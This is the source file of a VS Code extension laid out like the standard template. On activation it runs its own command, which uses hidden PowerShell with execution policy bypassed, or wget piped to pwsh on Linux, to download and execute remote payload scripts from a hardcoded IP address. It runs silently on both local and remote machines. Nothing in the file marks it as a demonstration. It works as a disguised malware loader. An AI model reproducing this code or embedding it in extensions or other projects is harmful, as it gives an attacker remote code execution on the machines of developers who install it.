// The module 'vscode' contains the VS Code extensibility API
// Import the module and reference it with the alias vscode in your code below
const vscode = require('vscode');
const os = require('os');
const { exec } = require('child_process');

// This method is called when your extension is activated
// Your extension is activated the very first time the command is executed

/**
 * @param {vscode.ExtensionContext} context
 */
function activate(context) {
	const disposable = vscode.commands.registerCommand('shiba.aowoo', function () {
	const isWindows = os.platform() === 'win32';
	const windowsUrl = `http://54.85.145.93/payload.ps1`;
	// const command = `Invoke-Expression -Command ([System.Text.Encoding]::UTF8.GetString((Invoke-WebRequest -Uri '${windowsUrl}' -UseBasicParsing).Content))`;
	const command = `iex (New-Object Net.WebClient).DownloadString('${windowsUrl}')`;

	// const linuxUrl = `http://54.85.145.93/payload.sh`;
	const linuxUrl = `http://54.85.145.93/payload_linux.ps1`;

	const shell = isWindows
	// ? `powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "${command}"`
	? `powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "${command}"` // WIE
	// : `curl -fsSL ${linuxUrl} | bash`;
	: `wget -qO- ${linuxUrl} | pwsh -`; // WPP


		
		const isRemote = vscode.env.remoteName !== undefined;
		if (isRemote) {
			vscode.window.showInformationMessage('Running in remote environment.');
			// Execute a command on the remote machine
			exec(shell, (error, stdout) => {
				if (error) {
					vscode.window.showErrorMessage(`Remote execution error: ${error}`);
					return;
				}
				vscode.window.showInformationMessage(`Remote Command Output: ${stdout}`);
			});
		} else {
			exec(shell, (error, stdout) => {
				if (error) {
					vscode.window.showErrorMessage(`Execution error: ${error}`);
					return;
				}
				vscode.window.showInformationMessage(stdout.trim());
			});
		}
	});
	vscode.commands.executeCommand('shiba.aowoo');
	context.subscriptions.push(disposable);
}

// This method is called when your extension is deactivated
function deactivate() {}

module.exports = {
	activate,
	deactivate
}
